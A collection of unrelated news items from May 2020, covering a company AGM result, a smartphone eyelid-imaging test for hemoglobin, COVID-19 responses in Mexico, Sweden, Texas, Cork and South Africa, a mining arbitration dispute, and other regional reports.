("One Media", or the "Company")

Result of General Meeting

At the Annual General Meeting of the Company held at 11.00 a.m. on 22 May 2020, all of the resolutions were duly passed.

The results of the proxy voting will be available shortly on the Company's website, http://omip.co.uk/investor-relations/

The person who arranged for the release of this announcement was Michael Infante, Chief Executive Officer.

-Ends-

One Media iP Group Plc

Michael Infante - CEO

Claire Blunt - Chairman

+44 (0)175 378 5500



+44 (0)175 378 5501 Cairn Financial Advisers LLP (Nominated Adviser)

Liam Murray

Jo Turner

Ludovico Lazzaretti +44 (0)20 7213 0880





Cenkos Securities plc (Broker)

Max Hartley

Max Gould

Michael Johnson (Sales) +44 (0)20 7397 8900 Yellow Jersey PR (PR & IR)

Charles Goodwin

Annabel Atkins +44 (0)20 3004 9512

About One Media iP Group Plc

One Media is a digital music rights acquirer, publisher and distributor. The Group specialises in purchasing and monetising intellectual property rights with proven, repeat income streams. One Media adds value to its content by maximising its availability in over 600 digital stores globally, including Apple Music, YouTube, Amazon and Spotify.

One Media's music is also widely used for synchronisation in film, TV and digital gaming whilst its video content is primarily viewed on YouTube where One Media operates over 20 YouTube channels as a certified partner.

One Media is listed on the London Stock Exchange on the AIM index, under the symbol 'OMIP'.

For further information: www.omip.co.uk
Researchers have developed a way to use smartphone images of a person's eyelids to assess blood hemoglobin levels. The ability to perform one of the most common clinical lab tests without a blood draw could help reduce the need for in-person clinic visits, make it easier to monitor patients who are in critical condition, and improve care in low- and middle-income countries where access to testing laboratories is limited.

"Our new mobile health approach paves the way for bedside or remote testing of blood hemoglobin levels for detecting anemia, acute kidney injury and hemorrhages, or for assessing blood disorders such as sickle cell anemia." said research team leader Young Kim from Purdue University. "The COVID-19 pandemic has greatly increased awareness of the need for expanded mobile health and telemedicine services."

Kim and colleagues from the University of Indianapolis, Vanderbilt University School of Medicine in the US and Moi University School of Medicine in Kenya report the new approach in Optica, The Optical Society's journal for high impact research.

The researchers used software to transform the built-in camera of a smartphone into a hyperspectral imager that reliably measures hemoglobin levels (a measure of the oxygen-carrying capacity of blood) without the need for any hardware modifications or accessories. A pilot clinical test with volunteers at the Moi University Teaching and Referral Hospital showed that prediction errors for the smartphone technique were within 5 to 10 percent of those measured with clinical laboratory blood.

Kim's lab focuses on developing healthcare technologies that are first designed and tested in the resource-limited settings of low- and middle-income countries. These innovations are then applied to important health challenges in developed countries such as the US.

"This new technology could be very useful for detecting anemia, which is characterized by low levels of blood hemoglobin," said Kim. "This is a major public health problem in developing countries, but can also be caused by cancer and cancer treatments."

Spectral information from a smartphone

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Spectroscopic analysis is commonly used to measure blood hemoglobin content because it has a distinct light absorption spectrum, or fingerprint, in the visible wavelength range. However, this type of analysis typically requires bulky and costly optical components.

The researchers created a mobile health version of this analysis by using an approach known as spectral super-resolution spectroscopy. This technique uses software to virtually convert photos acquired with low-resolution systems such as a smartphone camera into high-resolution digital spectral signals.

The researchers selected the inner eyelid as a sensing site because microvasculature is easily visible there; it is easy to access and has relatively uniform redness. The inner eyelid is also not affected by skin color, which eliminates the need for any personal calibrations.

To perform a blood hemoglobin measurement with the new technique, the patient pulls down the inner eyelid to expose the small blood vessels underneath. A healthcare professional or trained person then uses the smartphone app developed by the researchers to take pictures of the eyelids. A spectral super-resolution algorithm is applied to extract the detailed spectral information from the camera's images and then another computational algorithm quantifies the blood hemoglobin content by detecting its unique spectral features.

The mobile app includes several features designed to stabilize smartphone image quality and synchronize the smartphone flashlight to obtain consistent images. It also provides eyelid-shaped guidelines on the screen to ensure that users maintain a consistent distance between the smartphone camera and the patient's eyelid. Although the spectral information is currently extracted using an algorithm on a separate computer, the researchers expect that the algorithm could be incorporated into the mobile app.

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Clinical testing

The researchers tested the new technique with 153 volunteers who were referred for conventional blood tests at the Moi University Teaching and Referral Hospital. They used data from a randomly selected group of 138 patients to train the algorithm, then tested the mobile health app with the remaining 15 volunteers. The results showed that the mobile health test could provide measurements comparable to traditional blood tests over a wide range of blood hemoglobin values.

In a separate clinical study, the mobile app is being used to assess oncology patients at the Indiana University Simon Cancer Center. The researchers are also working with the University of Rwanda to conduct further studies and are planning to partner with the Shrimad Rajchandra Hospital in India to use the mobile health tool to assess nutritional status, anemia, and sickle cell disease in their patients.

"Our work shows that data-driven and data-centric light-based research can provide new ways to minimize hardware complexity and facilitate mobile health," says Kim. "Combining the built-in sensors available in today's smartphones with data-centric approaches can quicken the tempo of innovation and research translation in this area."
Based on an article, hundreds of doctors from Cuba had traveled to Mexico to help it cope with the coronavirus pandemic. Currently, there are 500 doctors from Cuba in Mexico that are helping fill in the gaps of its insufficient number of frontline medical staff.

Mexico's COVID-19 Problems

According to an article, Mexico had been experiencing a lack of medical staff to go in the frontlines of fighting the coronavirus pandemic. Also, the article reveals that the country needs thousands of medical workers. It stated that the country lacks some specialists that their current workforce in the medical field does not include.

Another issue in the country that had also affected the total medical personnel allowed to be in the frontlines against the coronavirus pandemic is sending some of the country's workers in the medical industry for being at risk of fatality from COVID-19.

In March, the medical staff of many hospitals treating COVID-19 patients had stated the need for additional personal protective equipment or PPE to protect them from being infected with SARS-CoV-2, the virus that causes COVID-19, according to an article. It means that the lack of PPE makes them vulnerable to contracting the illness.

Another seen cause of the insufficient number of medical staff fighting the coronavirus in the frontlines is the increasing number of medical staff contracting the novel coronavirus. According to an article published in April, some of the medical staff in a hospital in Coahuila had contracted the coronavirus from a doctor who had caught the illness from a COVID-19 patient in the hospital.

Additionally, reports of Mexican medical workers being attacked by the public for fears of spreading the coronavirus had made medical workers fearful. Based on an article, medical workers were wearing their work clothes being attacked by the people by pouring them bleach.

Helping Out Other Nations Fight COVID-19

Cuba had always been proud of its health care system and now they are using their country's expertise in helping out the world, according to an article. Also, at least fifteen nations across the world had accepted help from Cuba by allowing Cuban doctors to support them fight the coronavirus pandemic. The article also spoke about the time when Italy was having great problems with the increasing number of coronavirus infections and deaths and 52 doctors from Cuba were sent to the European country to help.

Before the pandemic, Cuban doctors have already been going abroad to practice their expertise. The article also reveals that there are 37,000 medical workers from Cuba that are working abroad for the long-term. Furthermore, the article states that Cuba also earns a significant amount from sending their medical professionals abroad.

Check these out:

COVID-19 Cases in Mexico and Cuba

Currently, there are 59,567 coronavirus cases in Mexico where 40,657 people who caught the disease were able to survive it and 6,510 died, according to a coronavirus tracker.

The tracker also states that there are 1,908 confirmed COVID-19 cases in Cuba. Also, there were 1,603 people to survive the illness and 80 people had fallen from the disease.
Members of The Woodlands Township Board of Directors on Thursday expressed surprise and concern after a preliminary letter officials received from the state indicated the township would get zero funding from the federal CARES Act, which sets aside billions in relief money to be doled out to cities and other entities in every county across the nation.

Gordy Bunch, chairman of the township board, said a letter from Texas Gov. Greg Abbott  shown on the screen during the meeting, which was hosted via video conference  listed the amounts of money that various municipalities in Montgomery County showed The Woodlands receiving nothing.

ON CHRON.COM: Montgomery County expects $105M from feds as part of coronavirus relief package

The township is unique, a community with more than 115,00 residents that is a special purpose district, not a city like the other communities on the list. The Woodlands also has parts of the community in two different counties, both Montgomery and Harris. A small sliver of the township is located in northern Harris County. The Village of Creekside Park has an estimated 12,000 to 16,000 residents but an official tally has not been done since the 2010 census.

I was disappointed the official tally showed us with a zero in funds, Bunch said. We have no indications the counties are going to share their funds. There has been no official communication with the township (from either) county.

Monique Sharp, the townships assistant general manager for financial services, told the board that Montgomery County has a population of more than 607,000. An estimated $106 million in CARES Act funds designated for Montgomery County is supposed to be doled out to cities and unincorporated areas of each county on a per capita basis. The amount per person allocated, she explained, is $174.49.

CARES Act Coverage from HoustonChronicle.com: Why were rules on sunscreens put in the CARES Act?

Under that formula, she estimated The Woodlands may receive $19.7 million from Montgomery County. From Harris County, Sharp said the township may receive about $1.1 million if funds are distributed to The Woodlands.

However, on Friday, officials from Montgomery County Judge Mark Keoughs office said the county had no plans to disburse funds on a per capita basis.

There will be no per capita allocation, and it will be based on actual expenses each jurisdiction has incurred to respond to the pandemic, Keough said in a statement.

Bunch said he intends to author a letter to both Keough as well as Harris County Judge Lina Hidalgo asking both about the status of The Woodlands in the funding disbursement plans. Bunch did say hed also spoken informally with Montgomery County Treasurer Melanie Bush about the issue.

We are going to ask each county for our share of the funds, Bunch stressed. The only conversation Ive had is with (Bush). At the time, she did not have any details but she was also concerned (The Woodlands) didnt have an allocation

Keough, Hidalgo issue statements

Jason Millsaps, the chief of staff for Keough, said in an email to The Villager that the CARES Act funding issue is still not finalized and Keough and other county officials are waiting for more clarification and information on the issue. Millsaps also said Keough had talked with Bunch about the funding issue on April 24. However, since then, the letter from Abbott that Bunch cited Thursday night had caused confusion.

ON CHRON.COM: Commissioner proposes plan for Montgomery Countys $105M federal COVID-19 stimulus funds

Judge Keough has not yet heard back from the state, whether our local units of government will be entitled to direct funding from the state. We have begun the process of reaching out to the local jurisdictions to determine the expenses incurred and prepare to make reimbursements, Millsaps said in an email. We heard back from the U.S. Treasury yesterday regarding whether The Woodlands is a qualified local unit of government since they are not a municipality. The Woodlands is a qualified unit of government and can be a sub-recipient of CARES Act funds received by Montgomery County.

Millsaps also stated that the county is, ultimately responsible to ensure funds spent are justified and authorized by the Act.

We are beginning the process on how we can assist the local jurisdictions and they will be receiving guidance later next week. The funds are not allowed to be utilized to offset or cover any revenue losses to any jurisdiction and the funds are required to be used to cover expenses incurred as local governments were responding to the pandemic, Millsaps added. (On April 24) It was discussed that political subdivisions would need to apply to the state for their funding based on the guidance we had received at that time. The governors subsequent letter changed this and since that time Montgomery County has been seeking answers to the questions regarding funding to local jurisdictions. Which we received yesterday from the U.S. Treasury.

Keough said in a statement that because the county is responsible for the funds and proper distribution, the monies will be, subject to OIG audits and that Montgomery County will, treat all political subdivisions similar to how the county has treated these funds.

(Political subdivisions) Will be required to provide documentation and justification for the expenses incurred to the Office of Emergency Management. OEM will then verify expenses against the rules of the act and submit these expenses to our CARES Act committee who will again vet the expenses and then submit them to the County Auditor for verification, Koeugh said in a statement. When the auditor has verified the expenses meet the program guidance, Commissioners Court will then approve the reimbursement to the political subdivisions.

In a statement sent by her staff, Hidalgo said Harris County is also still in an assessment phase in regard to the funds and was working in conjunction with Montgomery County on the issue.

Montgomery County has been working with federal partners to clarify that The Woodlands qualifies for funding under the CARES Act. Harris County is working jointly with Montgomery County and The Woodlands to assess eligible costs and ensure that they are funded. Hidalgo stated.

jeff.forward@chron.com
People have been invited to give feedback on the proposed temporary road closures in Cork city which are designed to facilitate pedestrians as the country emerges from lockdown.

Under draft plans announced just over two weeks ago, Cork City Council confirmed plans to enhance pedestrianisation on Paul St, Pembroke St and Tuckey St by closing the streets to traffic.

The council said the consultation process announced this evening forms part of a programme of measures it is preparing to facilitate the awakening of the local economy and to support residents and the public in safely returning to work and commercial life.

Phase one of the plan began last weekend with the temporary pedestrianisation of the historic Marina riverside amenity. Pedestrianisation has also been restored on Oliver Plunkett St. A deep clean of the city centre and Glanmire, Blarney, Douglas and Ballincollig continues.

As part of coping with and recovering from the Covid-19 pandemic, the city is being re-imagined as the backbone of citizens lives, Cork City Council Assistant Chief Executive, Brian Geaney said.

This is a defining time in our history, with so much uncertainty we must try and do whats best and sustainable for the future and turn this challenge into an opportunity.

In doing so, it is critical that we listen carefully to all stakeholders across the city and consult all communities and sectors. We are all in this together and I sincerely hope that citizens will participate in the upcoming consultation.

The councils director of operations, David Joyce, said the new measures proposed in the public consultation documentation will involve temporary changes to the layout of streets in order to maintain adequate separation space for social distancing requirements.

Our primary concern during this unprecedented time is to safely facilitate people travelling to work, education and amenities, he said.

While the proposed measures focus on protecting health and well - being, all interventions will need to be fully considered across all stakeholder interest groups, so please take the time to visit the councils consultation portal to have your say.

Submissions are invited from the public, stakeholders and interested parties on the proposed temporary road closures by using the online consultation portal. The closing date for submissions is 5pm on Friday May 29.
Nine is dropping its dedicated Perth-only news bulletins from the Today show after 6 years.

From Monday, Michael Genovese becomes a Perth correspondent for Today.

The live Perth news & weather bulletins were introduced in 2014 with Tim McMillan to counteract a timezone delay and offer a unique local perspective against the might of Sydney-produced Sunrise.

Meanwhile Tracey Vo, who has relocated back to Perth for family reasons during the pandemic, this week hosted their first WA-produced late news bulletin to broadcast nationally. From Monday Michael Thomson assumes the role.

Nine is yet to clarify if Tracey Vo will return to Today in Sydney at a later date.

Yesterday Sunrise led in Perth with 52,000 viewers with Today at 23,000 and News Breakfast at 13,000.
People at a restaurant in Stockholm on May 8.

JONATHAN NACKSTRAND/AFP via Getty Images)

More than 2,000 experts across Sweden in April urged the country to change its unusual decision not to have an enforced coronavirus lockdown.

Its per capita death toll in recent days has been the highest in the world, and some of those experts told Business Insider they remained convinced the plan was a historic mistake.

"This is not an example to follow. I don't want thousands of people around the globe to start dying," one science professor said.

They say much of Sweden's advice  including on masks, on the risks to children, and on who should self-isolate  is out of step with other countries'.

They are urging Sweden to test more so it can better understand its outbreak and give information to the rest of the world.

Visit Business Insider's homepage for more stories.

Sweden's strategy for dealing with the novel coronavirus so far has not included a lockdown.

Instead, the country has allowed people to go to parks, bars, and restaurants and to keep working, while encouraging but largely not enforcing social distancing.

It's a strategy that most in the country appear to support.

But it has sparked alarm among some experts who point to the country's relatively high death toll, the effects on vulnerable groups, and what they say is an approach that ignores much of the best research on COVID-19.

Two open letters signed in April by more than 2,000 experts across the country urged tougher measures with compulsory elements.

Sweden's state epidemiologist, Anders Tegnell, at a briefing in Stockholm on May 6.

CLAUDIO BRESCIANI/TT NEWS AGENCY/AFP via Getty Images

But the letters did not change government policy. Sweden's death toll on a per capita basis is now among the highest in the world and was the highest of any country in the seven days that ended Wednesday.

Business Insider spoke with some of those experts, who said Swedish health officials were not looking closely enough at new research.

They said they hoped no other countries tried to imitate Sweden, which lockdown opponents and some US politicians have held up as an example of a better approach.

Story continues

Olle Kampe, a professor and senior consultant in endocrinology at the Karolinska Institute in Stockholm, said: "We are sacrificing old people and people with diseases."

People protesting Minnesota's stay-at-home order with a "Be Like Sweden" sign outside the governor's residence on April 17.

Glen Stubbe/Star Tribune via Getty Images

"So I don't that it's something that anyone should copy."

Is Sweden gambling on herd immunity?

Sweden has said its strategy is not meant to achieve herd immunity  the point at which so many people are immune to a virus through infection or vaccination that it cannot take hold in a population.

But Anders Tegnell, Sweden's state epidemiologist and the main figure behind the country's plan, has highlighted Sweden's progress toward such a state. He said in late April that up to 20% of people in Stockholm were immune and that this could help guard against a second wave.

Many understood this as a quiet acknowledgment that herd immunity was the strategy. But scientists around the world have warned that there is no guarantee that catching the virus gives permanent immunity  and even if it did, the human cost of reaching that state would be huge.

"They are denying it in practice, but if you look at their actions, they're clearly going for herd immunity  that's why they are keeping schools and everything open," Marcus Carlsson, a mathematician at Lund University, said.

People in Stockholm on April 22.

ANDERS WIKLUND/TT NEWS AGENCY/AFP via Getty Images

Kampe said Sweden was trying to "reach herd immunity by killing people."

"It's saying that people who are old, or have a disease like obesity, like diabetes, are worth less than the rest of us, so we can just let them die and we get herd immunity," he said.

Kampe said Sweden's radically different approach meant it had a special responsibility to justify itself. "The burden of proof is very strong," he said.

A public-health ad in Stockholm on May 4 encouraging social distancing.

JONATHAN NACKSTRAND/AFP via Getty Images

Experts say Sweden's plan ignores science

Kampe said much of Sweden's approach was "not based on facts."

"If you have a virus that's totally new, you know very little about it, why don't you take a step back and say you are trying to infect as few people as possible until we know more?" he said.

"Sweden's strategy is the opposite: Infect as many people, reach herd immunity."

He pointed to new things discovered about the virus, including young people experiencing blood clots and strokes and a new inflammatory syndrome that has killed least four children.

People at a Stockholm shopping center on May 12.

HENRIK MONTGOMERY/TT NEWS AGENCY/AFP via Getty Images

He noted that Sweden did not consider children to be an at-risk group. They are expected to go to school, even if they have preexisting conditions known to increase adults' risk.

Christopher Plumberg, a theoretical physics researcher at Lund University, noted that the stance on children "stands in stark contrast to the United States and the United Kingdom."

Carlsson said the differences showed that Sweden's Public Health Agency had "a strange view on how to do science and research."

"They claim to be more logical while the rest of the world is panicking, claiming to be the voice of rationality."

He described the authority as being "picky about evidence"  insisting on unusually strong levels of proof before taking steps to mitigate the virus, as the rest of the world goes further.

He pointed to how the Public Health Agency had urged people to stay at home only when they show symptoms.

Swedish officials have said it is "still too early to say" how much the virus is spread by those without symptoms.

It is a stark contrast to other public-health bodies, which mostly recommend staying home when possible to mitigate the risk of asymptomatic transmission.

Carlsson said waiting for definitive proof in this case meant waiting too long and risking lives.

Lunch at a restaurant in Stockholm on April 21.

Jonathan Nackstrand/AFP via Getty Images

"Evidence-based is good science over time, but in emergency response to an unknown virus, you cannot sit and wait for a peer-review process," he said. "Science is very slow."

Sweden's renegade advice

Sweden diverges from the consensus in more ways than its advice on which people should stay home.

Even after people have been ill, Sweden recommends isolation for only two days after recovery. Other countries advise seven days, and the World Health Organization recommends a full two weeks.

Plumberg said Sweden had not "adequately adhered to the European Union precautionary principle," which says lawmakers should act to prevent harm even if they are not yet totally sure it will work.

"More succinctly, the principle cautions: 'Better safe than sorry.'"

Plumberg said he agreed with Tegnell's own statement that Sweden's death toll had been "horrifying."

People in Stockholm on April 8.

AP Photo/Andres Kudacki

But he said Sweden should have looked closer at what was happening in other countries.

"To make no decision on condition of 'too little evidence' is already to make a decision," he said. "The virus itself has forced a rapid policy response, and Sweden seems philosophically opposed to making such changes."

Tegnell, the state epidemiologist, responded to the open letters in April by defending the scientific basis for Sweden's policy and calling the figures they cited "inaccurate."

He also said Sweden's death toll was inflated because the virus had spread in nursing homes to a greater extent than in other countries, causing more people to die.

The signatories say Sweden needs to collect more data about its outbreak and to allow an open debate between the Public Health Agency and other scientists.

Flying blind on testing

Sweden is prioritizing its coronavirus tests for healthcare workers who show symptoms and patients already in the hospital.

It then gives priority to police officers and emergency responders. The health agency says people who have cold or flu symptoms "will not be prioritized for testing" but should stay home.

Sweden has only just expanded its testing to include those with mild symptoms.

Lena Hallengren, Sweden's health minister, said at the end of March that targeted testing, rather than mass testing of the population, was the right way to go for Sweden.

A restaurant in Stockholm on May 8.

JONATHAN NACKSTRAND/AFP via Getty Images

TheLocal.se, an English-language news service for Sweden, reported that as of May 8, about 1,000 people were being tested in Stockholm a day.

It said the country was hitting around a third of its goal of 100,000 a week.

Sweden's testing rate is at 17.6 per 1,000 people, according to tracking by the website Statista. Norway, its close neighbor, has a rate of 37.9.

Kampe, the science professor, said more testing was necessary to assess Sweden's strategy: "To evaluate this afterwards we have to have data."

"We still don't have data to calculate the projections people are making. It still doesn't exist," he said.

Carlsson said testing was especially important as Sweden's strategy was so different. "Because we chose a different path, we are in a unique position to provide valuable information for the rest of the world," he said.

"If we test a lot, we could provide so much information for the world. And save individual lives."

'Sacrificing' the old and weak

Sweden says its plan is meant to protect the most vulnerable: People over 70 are urged to stay at home, and visitors have been barred from nursing homes.

But about half of Sweden' deaths have taken place in nursing homes, and about 88% of its deaths are people over 70, a figure similar to some of Europe's hardest-hit countries like the UK and France.

Nursing-home workers have reported having to work without access to personal protective equipment.

A memorial to coronavirus victims in Stockholm's Mynttorget square.

ONATHAN NACKSTRAND/AFP via Getty Images

Some staff members have complained that they do not have permission to give oxygen treatment to patients with the virus and say they have been told not take the patients to hospitals.

People with conditions that make them more vulnerable have also told Business Insider that Sweden's plan has left them frightened as they choose to isolate themselves.

"We are sacrificing old people and people with diseases," Kampe said.

Tegnell denies that Sweden's plan involved sacrificing certain groups. Instead, he said, the high deaths were an unforeseen event, not part of the plan. The health minister, Hallengren, has publicly said Sweden "failed to protect our elderly."

The Public Health Agency has said it started enforcing greater hygiene measures and has seen fewer nursing-home deaths.

But Sweden's death toll  at 3,698 on Tuesday  has soared above its Nordic neighbors that locked down early.

Per capita, its deaths are about four times those in Denmark and eight times those in Norway  countries with similar healthcare systems, political systems, and population densities.

People lined up to buy alcohol at a state-owned Systembolaget store on April 25.

JONATHAN NACKSTRAND/AFP via Getty Images

Sweden is also reporting more than 400 new cases a day, compared with about 20 a day in Norway and about 60 a day in Denmark.

'Don't copy us'

Kampe said Sweden too had the ingredients for a low death toll: It is not very densely populated, has a high degree of education, and has low rates of diseases like diabetes and obesity.

Be, he said, "and still there are so many deaths." He continued: "As a physician you don't accept any unnecessary deaths. But we have thousands. If this continues, we will have tens of thousands.

"I don't think that it's something that anyone should copy."

Carlsson said Sweden was at "a very dangerous point in time" as its plan received international attention: "People want a way through without a lockdown," he said.

But he said the strategy would jeopardize lives anywhere it's employed.

"We are not testing," he said. "We are totally in the dark. This is not an example to follow."

Sweden has implied it will change it strategy if it finds evidence another one would work better.

So far, it has not indicated that any change is coming.

Read the original article on Business Insider
Extra Cultural Activites - Expression of Interest

Gibraltar Cultural Services (GCS) and GAMPA (the Gibraltar Academy of Music and Performing Arts), are considering arranging a number of activities for primary school children in years 3, 4 and 5 who will not be able to attend school until September.

This therefore would not include children in years 2 and 6 nor children who are able to attend school because parents are working and have no alternative child care available.

The offering, should it be proceeded with, will involve a variety of cultural and artistic workshops, for two hours (10am-12midday) Monday to Friday. It will run over a 4 week period, although details as to how many sessions children can be part of will depend on interest and numbers catered for.

The initiative will be run by GCS & GAMPA with support from the Department of Education.

The activities will take place at the John Mackintosh Hall facility in different areas to adhere to social distancing requirements as per lockdown guidance.

At this point this is just a call for expressions of interest from parents who may wish their children to attend. This is only an exercise to gauge interest to see whether this delivery is possible, in keeping with lockdown guidelines.

Email for expression of interest to be sent to This email address is being protected from spambots. You need JavaScript enabled to view it. by Monday 25th May.
By Zandi Shabalala and Helen Reid

LONDON/JOHANNESBURG, May 22 (Reuters) - Billionaire Beny Steinmetz's BSG Resources Ltd (BSGR) is seeking to reopen an arbitration case that ordered it to pay $1.25 billion to Brazilian minder Vale SA over an abandoned mining joint venture in Guinea.

BSGR has filed documents, seen by Reuters, with a U.S. court which it said shows that Vale was aware of potential bribery or "red flags" when the companies partnered to develop Simandou, one of the world's biggest iron ore deposits containing billions of tonnes of the steelmaking ingredient.

The companies are locked in a long-running legal dispute over the joint venture, which was created in 2010 but has since been abandoned. Simandou remains undeveloped.

The Vale Board should assume full responsibility for their misconduct, publicly clear BSGR of all wrong doing and compensate fully for the commercial value of the loss to BSGR, which could run into billions of dollars," Steinmetz said in an emailed statement.

Vale has accused BSGR of fraudulently inducing it to buy a 51 percent stake in the joint venture to develop the mine, a concession later by the Guinean government in 2014 after it said it had evidence BSGR obtained the rights through corruption.

Vale on Friday denied BSGR's accusation, saying it was confident that any court or tribunal would find it in the right.

"Vale is confident that the effort will continue to be rejected by any court or tribunal considering the full record of Vales extensive diligence efforts and the extraordinary means that Steinmetz undertook to conceal his fraud from Vale," the Brazilian company said in a statement.

Guinea's President Alpha Conde at the time said Vale was not involved in, or aware of, the corruption.

BSGR, which went into administration in 2018, has denied any wrongdoing in obtaining the Simandou rights. It walked away from the project last year as part of a settlement with Guinea's government in which both parties agreed to drop outstanding legal action.

Vale filed a U.S. lawsuit in April 2019 to force BSGR to pay it about $1.25 billion, as mandated by a London arbitrator in the dispute, plus interest and expenses, amounting to a total of more than $2 billion.

The lawsuit is still active. (Reporting by Helen Reid in Johannesburg and Zandi Shabalala in London; Additional reporting by Marta Nogueira in Rio de Janeiro; Editing by Alistair Bell)
Police Minister Bheki Cele has announced that over 230,000 cases have been opened for violations of COVID-19 lockdown regulations as of 19 May 2020.

This is more than double the number which had been opened at the end of April, when South Africa was still under lockdown alert level 5.

During that month, 107,000 cases were opened against 118,000 people, the minister noted.

Cele also detailed a big decrease in several types of contact and trio crimes recorded since the lockdown started on 27 March up until 19 May 2020.

When compared to the period between 29 March and 21 May 2019 , the number of cases of murder was down by 63.9%, rape decreased by 82.9%, and assault dropped by 80.4%.

Reported cases of carjackings decreased by 70.7%, robberies at non-residential premises fell by 60.2%, and robberies at residential premises were down by 49.1%.

Cele said although reported cases remained low, the numbers of certain crime categories increased slightly when compared to previous figures released on 20 April.

He added there was an increase in the smuggling and illegal sale of substances that have been banned under lockdown regulations.

We have also observed an increase in smuggling of contraband (liquor and tobacco) between South Africas land borders with Botswana, eSwatini, Lesotho, Mozambique and Zimbabwe, as well as the sale of these products in the black market, Cele stated.

Criminals are opportunistic. Organised crime syndicates have taken advantage of the lockdown, especially on the ban of alcohol and cigarettes, and have expanded their illegal trade into the illegal market of illicit and counterfeit alcohol and cigarette sales, he said.

Police members with COVID-19

The governments latest figures showed that 611 police officers had tested positive for COVID-19 to date, of which 101 have already recovered.

Most positive cases were recorded in the Western Cape, with 441 members confirmed to be infected with the virus.

A total of six officers have the virus, Cele stated.

The tables below show the decrease in crime over the lockdown period compared with a similar timeframe in 2019, as revealed by the minister.

Contact Crime

Trio Crimes
The Chief of Air Staff, Sadique Abubakar, an air marshal, said officers and men of the Nigerian Air Force would soon clear bandits in Katsina State and the North-West region.

Mr Sadique stated this when 60 additional Airmen and Officers were deployed on Thursday to Katsina for Special Operation Harbin Daji in Batsari and Jibiya areas and other flash spots in the state.

The Air Officer Commanding Special Operation, Bauchi Command, Charles Ohwo, an air vice marshal, represented the Chief of Air Staff during the deployment.

Mr Sadique said that the Air Force would soon rid Katsina State and the entire North West geo-political zone of banditry and other crimes.

He charged the airmen and officers deployed for the operations to remain committed in the operation in accordance with the Air Force Core Values.

READ ALSO:

I implore you to inject more fighting techniques which you have learnt to bear with your assignment with a view to bringing the bandits to their knees.

I am very sure, with the help of God, we will succeed. Therell soon be no hiding place for the bandits in Katsina and the entire North West Geo-Political Zone, he assured.

Mr Sadique thanked Governor Aminu Masari for his support and cooperation to the Air Force and the Special Operations unit in the state.

He said barely 48 hours after their deployment to the state, the operation had started yielding positive results.

President Muhammadu Buhari recently gave the nations Armed Forces marching order to rid the state of criminals.

The order came following growing activities of bandits, cattle rustlers, kidnappers and armed robbers in parts of the state.

(NAN)
Glenron Ballantyne, a Sandy bay resident and a student of the Sandy Bay Secondary School up to the time of his death, is this countrys fourth road fatality for 2020.





The young man died six days after he was severely injured in a vehicular accident that occurred on the Diamond Main Road, May 12, sometime around 7pm.





Reports are that the vehicle  a blue Toyota Runx motor car - in which he was a passenger and driven by Kelson Ballantyne, collided with a white Toyota Noah  used as a bread delivery van driven by Ezekiel Lewis. The extent of the collision caused the Runx to go over an embankment.





The Runx was heading towards Georgetown and the Noah towards Kingstown.





Both vehicles were extensively damaged, and both drivers and passengers were all rushed to the Milton Cato memorial Hospital, where Glenron remained hospitalised.





He would succumb to his injuries six days after.





In a brief conversation with members of his family, Keisha Ballantyne, a cousin of the deceased, described Kenron as a jovial, fun-loving pleasant young man.





The family was, up to press time Wednesday, still trying to come to terms with their loss.





Glenron Ballantynes death follows that of Fidel Davis. Davis, a 34-year-old chauffeur of Cedars, who was travelling towards Georgetown on motorcycle PW177, a black and white Ninja bike, when he lost control of the said motorcycle and crashed into an electrical pole, in the vicinity of the Biabou Bridge, May 11.
The deadly coronavirus came from China and the US is not going to take it lightly, President Donald Trump said on Thursday.

"It came from China. We are not happy about it. We just signed a trade deal, the ink wasn't dry and all of the sudden this floated in. We are not going to take it lightly, Trump said participating in a Listening Session with African-American Leaders in Michigan.

Trump in the last several weeks has been very critical of China's inability to control the spread of the novel coronavirus within its territory. By Thursday more than 94,000 Americans have died due to the coronavirus and over 1.6 million have tested positive.

He has so far not given any indication of the steps that he is contemplating taking against China.

Meanwhile, pressure is building on his administration, mainly from the Republican lawmakers on this.

On Thursday, Senators Ted Cruz and Rick Scott, along Mike Braun, Marsha Blackburn, Joni Ernst, Martha McSally and Tom Cotton, introduced the COVID-19 Vaccine Protection Act to prevent the Chinese Communist Party from stealing or sabotaging American COVID-19 vaccine research.

The bill requires a thorough national security evaluation and clearance by the Department of Homeland Security, the Department of State, and the Federal Bureau of Investigation of all Chinese student visa holders taking part in activities related to COVID-19 vaccine research.

"The same Chinese Communist Party that covered up the coronavirus outbreak also routinely engages in state sponsored theft of intellectual property," Cruz said. "We cannot allow China to steal or interfere with American research and development of a vaccine, he added.

"Communist China is responsible for the coronavirus pandemic, and their lies and misinformation cost American lives," Scott said.

"We cannot let Communist China off the hook for this, and we absolutely cannot allow Communist China to steal or sabotage any American research efforts related to the Coronavirus vaccine. The COVID-19 Vaccine Protection Act protects American efforts to create a vaccine as we work to end this pandemic," he added.

The COVID-19 Vaccine Protection Act, among others requires an enhanced vetting of nationals of the Chinese nationals in the US as nonimmigrants under F, J, or M student visas to determine if any student visa holders are a national security threat.

Once the review is complete, authorizes Department of Homeland Secretary, in consultation with other agencies, to continuously monitor all nonimmigrant student visa holders (F, M, J) who are Chinese nationals while in the US and are engaged in, or have access to, the research of any potential COVID-19 vaccine or COVID-19 related material.

Republican Whip and Ranking Member of the Select Subcommittee on the Coronavirus Crisis Steve Scalise alleged that China lied to the world on coronavirus.

"During a critical period in December and January, China withheld evidence of the virus: evidence that confirmed human to human transmission of the virus, evidence of the extent of the spread. China refused entry of American and other medical experts from around the world for weeks, he said.

And during this time, China hoarded medical supplies like masks, gowns, and other life-saving PPE. Chinese exports of surgical masks, gowns, and gloves were stifled by the Chinese Communist Party during this period. China knew the danger posed by the virus and while they hid the truth, they used the time to stock up on vital medical supplies, Scalise said.

While Chinese authorities limited domestic flights from Wuhan to other Chinese cities like Beijing and Shanghai, China's government urged international carriers to maintain their flight schedules seeding the virus throughout the rest of the world, he alleged.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Source: Xinhua| 2020-05-22 18:03:55|Editor: huaxia

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LAGOS, May 22 (Xinhua) -- The Nigerian government has warned against taking antimalarial drug hydroxychloroquine as treatment against COVID-19 cases, saying the drug had not been certified for such use.

The warning followed a large purchase of hydroxychloroquine by some citizens, said Boss Mustapha, chairman of Presidential Task Force (PTF) on COVID-19 in a statement reaching Xinhua on Friday.

He said through the surveillance system set up by the PTF, it has received reports that Nigerians have been purchasing Hydroxychloroquine in large quantities to treat COVID-19.

